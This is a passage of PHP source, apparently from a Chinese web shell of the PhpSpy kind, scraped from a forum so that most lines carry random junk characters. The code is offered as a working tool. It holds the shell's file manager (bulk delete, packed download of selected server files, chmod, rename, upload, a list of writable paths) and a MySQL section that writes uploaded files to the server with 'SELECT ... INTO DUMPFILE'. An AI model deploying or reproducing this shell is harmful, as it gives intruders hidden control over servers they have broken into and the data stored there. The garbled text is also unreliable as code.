  334.                         $dfiles='';0 v" N4 d+ H# F3 R5 o  \
  335.                         foreach ($dl as $filepath => $value) {
    7 A$ h5 b3 F9 X; F. s/ _- ^
  336.                                 $dfiles.=$filepath.',';. x% o5 Z5 ^  O0 ^; q
  337.                         }) [9 {, p1 O$ h, z& d# X$ E7 E( E
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
    ' A  Y1 B+ q# M" ^8 g
  339.                         $dl=explode(',',$dfiles);
    $ s% Q, T6 c3 z, u" B/ O
  340.                         $zip=new PHPZip($dl);
    0 K0 Q  m+ G/ n. u& j1 s
  341.                         $code=$zip->out;; I" ~* r5 P% @( c7 x  b, D+ ?2 q
  342.                         header('Content-type: application/octet-stream');
    2 [0 ]/ A- ^/ O
  343.                         header('Accept-Ranges: bytes');& R3 y4 c8 d) j6 {2 @
  344.                         header('Accept-Length: '.strlen($code));
    * e5 a7 W$ @/ Y4 z+ ]( h7 G
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');8 C- y& h: n. C/ D/ e, u
  346.                         echo $code;2 P0 e- H: W8 F; M* }
  347.                         exit;1 ~0 l" H( s) g7 z. T5 |, o! V# e4 z7 s
  348.                 } else {- M, P3 [$ P4 D) `+ i
  349.                         m('Please select file(s)');% X+ D$ t) y. n6 I5 D% I
  350.                 }
    7 n. q( ~2 t  a& |! c3 \- ]
  351.         }
    4 z% J/ D- M# e$ I) i& L$ C
  352. & z$ k$ ]7 U' Y( T  }! Y, [4 C
  353.         // 批量删除文件
    ) Z" K) `9 v) ?) x: j5 k
  354.         elseif($doing == 'delfiles') {, `: g. N6 r0 Z4 K! o( W2 Q
  355.                 if ($dl) {( ?& `: U( X! x+ P7 C% }" C
  356.                         $dfiles='';5 O) y7 `4 ^5 ~" H5 _
  357.                         $succ = $fail = 0;' u" d* O/ I7 |7 U  n/ w
  358.                         foreach ($dl as $filepath => $value) {
    & t, _; K# m  S6 o) W0 F! m
  359.                                 if (@unlink($filepath)) {1 w( i$ T* ]' p  m" b
  360.                                         $succ++;
    1 p. d- E8 W: Q5 v
  361.                                 } else {
      |1 y0 z3 h6 m& {) Y) m6 ^
  362.                                         $fail++;
    % K9 X' E8 _' `8 y* k, v) `. p
  363.                                 }
    - S4 R+ T. G9 X& {2 i8 k! C
  364.                         }( L; }/ F3 h& M
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);- d+ x/ U/ Z6 o( n+ b9 X, L
  366.                 } else {
    % P  G7 F7 o. O
  367.                         m('Please select file(s)');
    % S7 H0 A9 `1 h- s
  368.                 }
    # F6 `( q% N6 b9 R3 E* S
  369.         }
    1 N# O1 S; \6 H2 Y$ n% j
  370. 7 `: X# H  d7 z5 f9 T1 T
  371.         //操作完毕
    & m- o" l+ e: E8 ?8 V
  372.         formhead(array('name'=>'createdir'));$ t. |( j( Q" s) x
  373.         makehide('newdirname');3 K& A3 x) _2 c0 e/ q4 X
  374.         makehide('dir',$nowpath);9 e1 @% n% U6 f3 c
  375.         formfoot();& M! y9 y, a& W' j0 i
  376.         formhead(array('name'=>'fileperm'));
    $ K% n& R* C6 ^, [. D
  377.         makehide('newperm');
    # T  U; t" P6 Z4 `% `
  378.         makehide('pfile');
    6 t* _4 |. w1 W$ C0 ]
  379.         makehide('dir',$nowpath);# ?  ?8 k  \/ w) ]( _2 y6 [! N
  380.         formfoot();
    / A- u$ H! G0 v; [7 R5 H9 v
  381.         formhead(array('name'=>'copyfile'));
    ; r0 A" O% r- Q2 [/ s2 H+ k! T0 O
  382.         makehide('sname');* S. ?' I  d! t; d' W
  383.         makehide('tofile');. L% W' }. {$ O7 f8 l' R2 f4 _; S
  384.         makehide('dir',$nowpath);
    # ~! [  N" `( h# I
  385.         formfoot();  e8 e" S! T5 n/ I5 `
  386.         formhead(array('name'=>'rename'));5 M1 \; _9 b/ z4 b% S
  387.         makehide('oldname');
    ; H# h+ f- \" b6 R
  388.         makehide('newfilename');
    & U4 N3 w$ ?+ V, q  A* m) s2 U  _
  389.         makehide('dir',$nowpath);
    7 f2 |/ y8 l4 M$ \7 L! e
  390.         formfoot();
    2 n$ E5 c$ A) g0 Z
  391.         formhead(array('name'=>'fileopform'));
    ' [( H6 E7 {0 s  M
  392.         makehide('action');) T( Y" d8 m* T; X7 k% m
  393.         makehide('opfile');
    9 V, x! X! d- Z5 U* s! h& T
  394.         makehide('dir');
    7 l, i; o3 C- N/ O4 H
  395.         formfoot();* X1 t9 ?" X. [8 i

  396. & Y4 H% q# ?. Z* ^6 Q. O% E
  397.         $free = @disk_free_space($nowpath);
      \+ f" \1 ~( T, k; W9 ?
  398.         !$free && $free = 0;" d# G5 _' q5 ?% \( G  H
  399.         $all = @disk_total_space($nowpath);5 J! F' D) }! z! ?$ n0 U
  400.         !$all && $all = 0;
    5 j6 Q: @: G2 b3 `8 Z
  401.         $used = $all-$free;
    & ^6 v8 ]) k* U4 c3 y% `, ]: K
  402.         $used_percent = @round(100/($all/$free),2);3 {0 ^* O9 a$ f2 U
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
    . C, d" }( l, W7 ?9 I

  404. * e) J, p3 {3 y* |, c
  405. ?>
    5 r+ m* Y2 w( W+ }) o# ~1 t& b
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    . q' }& [; B% w
  407.   <form action="" method="post" id="godir" name="godir">$ S% }0 m+ X" r0 p
  408.   <tr>
    / {  x' I# E  S) M. [# [- k2 A
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    ! [8 Q) l7 `9 \% h3 v/ `8 O
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    # u/ X9 k( n; p: H" C
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>6 ]% f2 ^7 E. I9 c, _
  412.   </tr>
    - ?; N! f4 m& n1 O
  413.   </form>5 c2 B  m# Z2 h0 Y
  414. </table>
    : j9 O4 s$ k3 G# W- I# o7 w
  415. <script type="text/javascript">
    8 m: h; N0 @6 |8 P0 _. C
  416. function createdir(){( ]2 @% Y0 {9 k, W& }6 c, ?; |! h
  417.         var newdirname;
    " P/ I* ]4 s$ }; L1 D) z
  418.         newdirname = prompt('Please input the directory name:', '');. Y5 e, b) F0 J% Z! `
  419.         if (!newdirname) return;9 I3 z% s$ W5 P: r! x- K8 E
  420.         $('createdir').newdirname.value=newdirname;2 {' c2 b* s# c/ e
  421.         $('createdir').submit();, q/ h% t, ~: e8 S7 t
  422. }- ?8 b1 R& V. T' @$ u. x
  423. function fileperm(pfile){
    ( y; Q% U3 y- p0 _; {8 _! g
  424.         var newperm;
    . S$ E: m8 ]0 v8 q
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    2 \( C- S- \# Z" U
  426.         if (!newperm) return;
    , b6 P" u4 O! U6 y" y; i( e
  427.         $('fileperm').newperm.value=newperm;
    / h9 y, a7 D* `5 V. R
  428.         $('fileperm').pfile.value=pfile;
    # w& ?- N; M: ^- G% z
  429.         $('fileperm').submit();3 k( |1 S0 e+ p& m/ ~
  430. }3 S* n4 o. T+ H: {( V: K4 [
  431. function copyfile(sname){- Z6 Z) ?6 \3 C9 [& r- L
  432.         var tofile;
    2 n" l, v% P& [, y
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
    - H/ Y+ u" V9 c' i8 y0 z
  434.         if (!tofile) return;0 s& a3 q2 ]6 a7 ~+ k! E/ l* F: o
  435.         $('copyfile').tofile.value=tofile;+ \" P& o. l: w8 W  ~: }' z
  436.         $('copyfile').sname.value=sname;
    : v& I' X8 z/ p5 x; P
  437.         $('copyfile').submit();
    ! R- x; f' H0 C4 W
  438. }
    : G6 V: i2 o0 f0 y4 R' z
  439. function rename(oldname){) ]3 A+ J" F) V8 C9 G
  440.         var newfilename;
    " H. z9 B8 q; b
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    5 b. ^- B* D, g' {- r+ L0 s2 D. I
  442.         if (!newfilename) return;+ m, I) Z6 J0 B
  443.         $('rename').newfilename.value=newfilename;+ v1 y$ u1 J/ L& Q3 T
  444.         $('rename').oldname.value=oldname;
    6 h$ H% z5 }, L  `
  445.         $('rename').submit();0 o* n# @1 O' T# T
  446. }
    , ^/ |4 H7 v8 W6 {. l) v; M) ]
  447. function dofile(doing,thefile,m){
    * S5 ]" M! k$ L+ [8 S
  448.         if (m && !confirm(m)) {
    ' Y! i% O4 f( i1 H  k
  449.                 return;4 {4 y$ U8 u& h% O
  450.         }$ b* _  y9 |, P5 C* O
  451.         $('filelist').doing.value=doing;
    ' b! }' F6 w6 s) p4 m/ `  ^/ k" K
  452.         if (thefile){  L" M: a3 I' i* N* y; j
  453.                 $('filelist').thefile.value=thefile;
    ; `8 m) T2 |; T! ~, d8 M
  454.         }
    6 U2 s, h# f; v+ l
  455.         $('filelist').submit();) T# f" U$ r1 j, P1 D/ z
  456. }
    " p. R! I! P4 R* F0 U* x3 O1 a0 Q% t
  457. function createfile(nowpath){
    , K( u# }5 z3 e. [7 Z7 P
  458.         var filename;
    % b, V, [, _4 T) e1 H+ s: ?
  459.         filename = prompt('Please input the file name:', '');
    & G6 T8 w% K8 |# W7 D( K# o
  460.         if (!filename) return;$ M& k+ e) m% @. f& C; T0 A
  461.         opfile('editfile',nowpath + filename,nowpath);1 X4 h) `1 W- R; J/ m
  462. }- ~+ _/ I( P: S! [. Q  ^8 H
  463. function opfile(action,opfile,dir){. _0 F& G- u1 T! H7 ]  \1 {
  464.         $('fileopform').action.value=action;
    8 |) y' f: z/ c
  465.         $('fileopform').opfile.value=opfile;
    ; J/ }' w! K1 D1 j
  466.         $('fileopform').dir.value=dir;
    + O' G; H+ T) J8 [# `
  467.         $('fileopform').submit();
    6 V. g" a# R6 l# c# ~8 l; ]
  468. }" q2 A, H0 A7 B( r
  469. function godir(dir,view_writable){
    0 u8 o) H$ b  p, J: D+ Z
  470.         if (view_writable) {% K/ A( t" H. \( y* i
  471.                 $('godir').view_writable.value=1;$ I+ s' K, S5 |  G6 q% x4 @
  472.         }
    4 m. B, p2 J( R' }8 j+ |
  473.         $('godir').dir.value=dir;- D7 Q" }# D3 l% }' V5 s/ j  b
  474.         $('godir').submit();
    7 U6 ]7 S$ J; l0 g. d
  475. }$ B' |) U6 M6 l& z# E
  476. </script>' y/ {* o* Q) x" I# Z6 @
  477.   <?php
    ! J) V! z; {& y$ D7 e
  478.         tbhead();
    & D# b* C. u4 k, b" i
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    / R  Y# L. N' ]6 v* U+ }  y& a
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');* h0 T6 c) o+ v' C) p: U3 G
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    ! g/ E- ~& F8 L
  482.         if ($view_writable) {2 i1 ]! {; N* X$ ^
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');0 N7 T, b- K8 l) B. b7 r
  484.         } else {
    ) t4 ~) p. Q* j; y: D! L
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    ) A# }: _3 x& D3 z
  486.         }$ Z% j) T! U; w- b  q$ _+ c; O
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    ( h; Y. z% N+ r
  488.         if (IS_WIN && IS_COM) {2 S; r3 A, |9 \, Q; |
  489.                 $obj = new COM('scripting.filesystemobject');" c' N- ^9 N# E3 u4 n9 c
  490.                 if ($obj && is_object($obj)) {
    ; {9 a4 L' L2 G! O
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');. L9 G- g5 T1 d
  492.                         foreach($obj->Drives as $drive) {. g% g! I* l0 w* W
  493.                                 if ($drive->DriveType == 2) {
    ) W+ j" {6 o1 X
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'0 z, e1 B- V. ^1 ^0 ]+ j
  495. Free:'.sizecount($drive->FreeSpace).'( H' @' q2 y8 W* R& x' O% a
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    1 X& s8 S1 n3 y& O
  497.                                 } else {, E4 J) t( h. [; K& W2 J
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');/ X6 |; a3 G3 l% ~
  499.                                 }
    ! i* J9 [0 C8 m. V( {6 M; ]
  500.                         }
    , K/ d; ?; P$ S! a, B
  501.                 }
    & W# g* D' L! y' p9 T* P+ C2 S
  502.         }
    9 Y; p) j  G. F# F
  503. * t  ?( n8 h6 O. O' f1 N
  504.         p('</td></tr></form>');! Y5 a. k4 C& c. D$ N, C- s2 x* F

  505. ! G4 c' S! E) s4 w! T" J) V% t! a4 B
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');( W. D9 U+ U& h5 Z; F

  507. # v: S. I6 n3 e' B( S5 ~
  508.         //查看所有可写文件和目录
    % n9 F4 G* A; c# e; E+ s1 t. R
  509.         $dirdata=array();
    . G4 H  j; V6 _5 X6 x( `
  510.         $filedata=array();
    & ]/ p7 I4 [; W7 C$ x2 U. z" ~

  511. : l6 T) l$ G4 j7 B9 s6 I% Q
  512.         if ($view_writable) {
    4 \3 r+ Z3 F. `* P" m" G7 @
  513.                 $dirdata = GetList($nowpath);$ O/ A& R# \/ ]! y. d7 N3 C2 B! g
  514.         } else {
    7 m  _( l% R; c' q
  515.                 // 目录列表4 p9 M: P! L- y5 i6 A3 i& v% S
  516.                 $dirs=@opendir($dir);8 w- B/ ?$ K, P0 `
  517.                 while ($file=@readdir($dirs)) {7 z+ c$ D5 B: K* M8 s- P1 J
  518.                         $filepath=$nowpath.$file;4 A  T' v1 U- ?# z' o
  519.                         if(@is_dir($filepath)){
    3 D, J, ]6 [  h! z4 N. V. \5 u
  520.                                 $dirdb['filename']=$file;/ s9 e5 u; P$ M2 ~6 a: G
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));1 q7 C$ `/ j) u
  522.                                 $dirdb['dirchmod']=getChmod($filepath);
    ( N1 [" a; A% b5 ?
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    - m0 U1 J7 Z7 e' s: A' O, [/ z
  524.                                 $dirdb['fileowner']=getUser($filepath);, f3 ~8 S5 |1 m
  525.                                 $dirdb['dirlink']=$nowpath;
    % z+ H/ p* s3 T" x$ D6 `
  526.                                 $dirdb['server_link']=$filepath;: P4 Z2 Z0 G/ G& K1 _$ E. m
  527.                                 $dirdb['client_link']=ue($filepath);) t) N7 ~5 I) I8 e6 ~
  528.                                 $dirdata[]=$dirdb;
    / c8 o) t, e1 A! g1 M/ Z
  529.                         } else {                9 s/ @# m4 a5 u  }: F
  530.                                 $filedb['filename']=$file;3 k  ^, q  v. B
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    2 i' m8 w" ^2 w7 ?8 E/ e2 r% n6 [
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    . P, Z' t% j8 D1 ^; Y# C
  533.                                 $filedb['filechmod']=getChmod($filepath);5 B0 I7 W- J- }/ u- o6 }! S
  534.                                 $filedb['fileperm']=getPerms($filepath);
    / A) b/ }+ Z- ?; r2 G- H( g7 l5 G
  535.                                 $filedb['fileowner']=getUser($filepath);
    $ i+ D6 M# b7 z1 f. X4 r, j
  536.                                 $filedb['dirlink']=$nowpath;
    % U) i3 x! n" b& N% e3 Y% |$ Q
  537.                                 $filedb['server_link']=$filepath;
    " L0 s0 f' M7 h% C
  538.                                 $filedb['client_link']=ue($filepath);3 P5 C# B$ o& L6 `
  539.                                 $filedata[]=$filedb;
    8 b* u' q0 [- q- C( K
  540.                         }
    . Q! E) C" ]+ }* |
  541.                 }// while6 C& n* Q! R* X9 |
  542.                 unset($dirdb);
    : N( k$ i2 u4 j
  543.                 unset($filedb);" L* x# m- J- g) z4 y" ^& T
  544.                 @closedir($dirs);
    6 m$ i! l; _  w1 L5 Z6 [. p
  545.         }
    % F! _$ ~' L& H7 R2 `$ f8 N/ Y  {
  546.         @sort($dirdata);3 V3 X- s( j5 v# I1 z% J
  547.         @sort($filedata);
    ( I9 Z$ I, D8 a
  548.         $dir_i = '0';( ?  N" q+ W7 d% o- m8 X  {4 b" R
  549.         foreach($dirdata as $key => $dirdb){
    / `6 k5 m" M4 Z) e" r
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {0 c) [. B8 X- I- D9 s+ r
  551.                         $thisbg = bg();8 _5 P5 t/ {" k1 W1 t% |6 S3 |' j* K
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    9 v. V' ~, f% }  `" O5 ~
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');% v* H( L! ]7 M* N+ y* t/ L% o
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');6 F+ Y/ X# z: O; ?( V
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
    * q8 J9 {5 f) E/ p, B, F  m1 w3 y" T
  556.                         p('<td nowrap>--</td>');
    " v1 m* {' Z6 u$ \+ u9 ~: e
  557.                         p('<td nowrap>');
    8 c7 z/ q* p- v2 D
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');6 l0 |5 f) U( x: e# b1 I
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
    3 V! N# b6 i" K8 ]
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    7 Y3 `% D) F3 ~7 l( q
  561.                         p('</tr>');
    6 }& x8 L8 j6 g( F2 t6 L' p
  562.                         $dir_i++;5 }7 w3 U- \3 Y
  563.                 } else {
    / d4 d# a7 ]% d2 _& u
  564.                         if($dirdb['filename']=='..') {  [7 ?. e6 f; E- K
  565.                                 p('<tr class='.bg().'>');# i% W4 E, e: Z, k+ O+ a
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
    & c) k; Z' C1 O) }0 r
  567.                                 p('</tr>');
    8 Q/ G) y% G( D; e$ g
  568.                         }
    + n8 T3 ]0 K. G5 h/ ?, U
  569.                 }
    & Y7 k1 W2 j! q5 p" H7 v  E& P
  570.         }
    ' @. U3 Z; a/ M

  571.   h- ^$ m) L8 x! N$ R4 j& Z0 P
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');0 x3 k8 H, P2 {, ^
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
    " m8 e/ d8 v& I1 Y& L0 F
  574.         makehide('action','file');+ G' q9 p, k( Y
  575.         makehide('thefile');! e) i2 }. e7 ~0 B  S) o
  576.         makehide('doing');
    8 [. f4 B1 B7 I2 X- W$ U7 w
  577.         makehide('dir',$nowpath);# i2 u0 Y8 ?! S6 U/ ]* G& S6 u
  578.         $file_i = '0';# q4 `4 Q2 o* Z* _# P8 \8 I
  579.         foreach($filedata as $key => $filedb){/ ?% }7 x0 A& [: y. }- p6 @! I2 S/ I* H
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    7 |1 p* D% ?$ @7 W
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
    + }' R# z0 U. B* @4 h9 C5 c- o
  582.                         $thisbg = bg();
    - Q9 P& z0 N" N% ?* `1 U# u* Q
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');+ `: {; k: v( D7 {& O
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
    , c5 [! _2 z. v: t  [$ x. _. `, w3 J: d
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
    # }' ?5 F( }; t1 E2 }
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
    2 V4 F. }# h7 A3 C9 H' b6 `  P
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');; E0 H/ f4 ~+ c* ]  `
  588.                         p('<td nowrap>');
    8 s0 F7 @: P! f2 m1 ]' b
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');2 w* y6 v* ~) C+ y) D# v
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');1 U% ^+ C6 O. `# z  ]
  591.                         p('<td nowrap>');
      @% j( K* Y+ m2 c% s9 q
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
    0 G3 B' v, z1 ]
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');" W2 Y0 I/ m: y( q8 _) ]3 G
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');" ^# N& Y0 k+ C5 m
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    0 t' ?6 q' [' k
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');. C1 J$ ^4 g7 C# ^, b
  597.                         p('</td></tr>');- \/ q# e4 o/ z* ]+ C1 k7 ~) b
  598.                         $file_i++;
    2 h4 r" ^1 J# `: G! n5 s9 |) e
  599.                 }, _  F' O' Q2 D  }) s! }
  600.         }4 E4 `8 P3 X* l) X
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');# Q3 A( \  S* F& w
  602.         p('</form></table>');
    " f2 c) U' x( {
  603. }// end dir; J. b6 m( t/ r* z! s4 S3 T; G4 W

  604. 9 B! T+ j; j- g, o" s5 Y
  605. elseif ($action == 'sqlfile') {6 c4 o1 V' P* e: c& E( i3 X
  606.         if($doing=="mysqlupload"){
    " {  U3 n( h* A" e% B
  607.                 $file = $_FILES['uploadfile'];2 m$ h% ?* w' H& U6 P
  608.                 $filename = $file['tmp_name'];& p0 b0 n2 r) J$ w
  609.                 if (file_exists($savepath)) {
      v5 R- f/ ^# F5 K2 h6 j' Q0 }8 h: k8 P
  610.                         m('The goal file has already existed');2 c% q' f# B: W" M, }( ~% u7 v  b5 f
  611.                 } else {. G" \5 N! g1 d4 r; i
  612.                         if(!$filename) {, v5 E& p' q( G- W
  613.                                 m('Please choose a file');
    ' y- m3 X# s$ X( i# T( z$ L
  614.                         } else {  ~9 a* m# k) I/ h) U8 [$ V
  615.                                 $fp=@fopen($filename,'r');
    4 r, u: \  y' X. L
  616.                                 $contents=@fread($fp, filesize($filename));- N# L* u; I8 k0 W3 j6 _
  617.                                 @fclose($fp);
    ' ^  Q2 j) w- f, y: n' D
  618.                                 $contents = bin2hex($contents);! Q: T4 ]* [& W
  619.                                 if(!$upname) $upname = $file['name'];* K( p0 G8 g9 h+ T0 c, R
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);7 w. _8 n( e! v3 X" J
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");1 V  R# ?; L) {' h. T
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());* Q8 b1 E9 o0 Z7 ?  B8 @
  623.                         }+ A5 N! g9 Y' B2 {6 a
  624.                 }
    ' O  H' D2 m0 x: q
  625.         }
    & g# P' z# ]6 o& |  j3 Y* c$ C
  626. ?>
    8 ^0 L" L. P" e
  627. <script type="text/javascript">
    2 L5 B! V: ?( M- T
  628. function mysqlfile(doing){' o$ |% Z) A% S* F1 V
  629.         if(!doing) return;/ P$ j2 o2 L/ C& d$ n* @
  630.         $('doing').value=doing;
    8 [1 l3 M% L9 P
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    0 v8 S9 o% I" k) r: E' U
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;; ?' q3 @5 C0 Q1 b
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    ) ~, V1 C/ \8 W- k# t
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;/ N$ C$ P; j' f2 V  t! ]
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    $ O! V8 q5 ]* t4 J
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;! {5 }. h& [9 f; Y& I% Q) a
  637.         $('mysqlfile').submit();0 Y0 p% T0 z7 Z1 ^& @
  638. }
    - A& H, G) i& @% h: N& q/ J
  639. </script>
    : V9 X2 M+ r& @) z1 m7 {5 q% C
  640. <?php
    # m1 K5 X, R0 {* V8 w$ D
  641.         !$dbhost && $dbhost = 'localhost';
    * Y6 h2 B5 k( @
  642.         !$dbuser && $dbuser = 'root';; D. b- Y, F# g* X6 V, X0 L
  643.         !$dbport && $dbport = '3306';" y! ~: z9 x) F3 _
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');% @8 l6 D) y" q) W5 A8 D" K
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
    , E$ f( r0 ?! G3 z! F
  646.         makehide('action','sqlfile');
    8 w8 Z! z5 g% ?8 e  y2 m% A
  647.         p('<p>');' g8 R, r" H5 v% t% h
  648.         p('DBHost:');
    . T+ P; ]) I8 Q$ a: `" K- b$ j7 e
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    ' X  h8 A! _2 ^5 _, s
  650.         p(':');' R  |( ~+ S' w3 e
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    3 i+ R$ M) q, ~/ d2 V
  652.         p('DBUser:');
    : |% W1 m% q1 z( J6 B2 e" v6 ~
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));$ b: ]+ ]" F: v9 H: i
  654.         p('DBPass:');: m4 B. s. ?6 v, S4 R: {+ k
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));% Q- Z& {# @" o# p3 d5 d5 A
  656.         p('DBName:');
    7 w2 ^6 J& P8 z, j. O
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));$ N  b& s* n0 p8 F) W
  658.         p('DBCharset:');1 ^7 r$ N, c/ s
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    / z% U4 m% o5 ]1 @* w
  660.         p('</p>');* P. Z6 V9 n- Q) J& o
  661.         formfoot();
    6 G: W2 ]7 |+ \, N
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    5 m4 M3 b( H, V* q: j
  663.         p('<h2>Upload file</h2>');% S7 `2 P6 g: ~- K) C# ]
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');! }3 Z5 i- F- W0 y) Q# q% W
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
      U) H# B7 p7 j- f% w. l, L
  666.         p('<h2>Download file</h2>');* y# D4 A3 w/ b* `/ D) h. ~% r& ^
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');7 ~& c4 H6 y; u7 b, J# E2 B
  668.         makehide('dbhost');3 r' I2 l+ Z4 G' X% v8 y
  669.         makehide('dbport');
    # \  ]& u8 s6 \; O, e" W. W
  670.         makehide('dbuser');# L) U* s1 G3 f0 y" J5 B+ j. Y
  671.         makehide('dbpass');
      H9 A) ?$ U9 P' g0 x: P8 t5 h  Z
  672.         makehide('dbname');
    4 A- J1 A9 b7 O3 u3 Y* k  Q
  673.         makehide('charset');
    2 U* t& {4 @. k* @4 \/ {" k
